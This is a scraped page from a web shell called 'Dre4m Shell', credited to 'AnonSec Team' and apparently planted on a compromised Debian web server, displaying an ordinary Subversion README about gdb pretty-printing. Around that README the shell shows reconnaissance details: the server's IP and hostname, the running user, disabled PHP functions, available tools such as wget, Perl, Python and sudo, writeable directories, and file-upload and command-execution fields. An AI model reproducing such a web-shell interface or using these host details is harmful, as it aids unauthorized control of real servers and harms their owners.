Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 13.58.12.203
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/libsvn1/examples/gdb-py/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/doc/libsvn1/examples/gdb-py/README
This directory includes a Python module which will integrate with gdb which
can be used to pretty-print various Subversion types.  For additional
information about gdb pretty-printing, see:

  http://sourceware.org/gdb/onlinedocs/gdb/Pretty-Printing.html


How to Use
----------
To enable pretty printing of selected Subversion types, put the following code
in your ~/.gdbinit:

[[[
python
import sys, os.path
sys.path.insert(0, os.path.expanduser('~/dev/svn-trunk/tools/dev/gdb-py'))
from svndbg.printers import register_libsvn_printers
register_libsvn_printers(None)
end
]]]

Change the path to point to the correct location on your platform for the
gdb-py directory, and then load gdb.  Everything should Just Work.
(I believe this requires gdb >= 7.0, but earlier versions may also work.)

The list of currently supported types for pretty printing is a bit lacking,
so should you run into a type which could be useful to be pretty printed,
read the documentation referenced above and follow the existing examples
to extend the pretty-printing support.  Enjoy!

Anon7 - 2022
AnonSec Team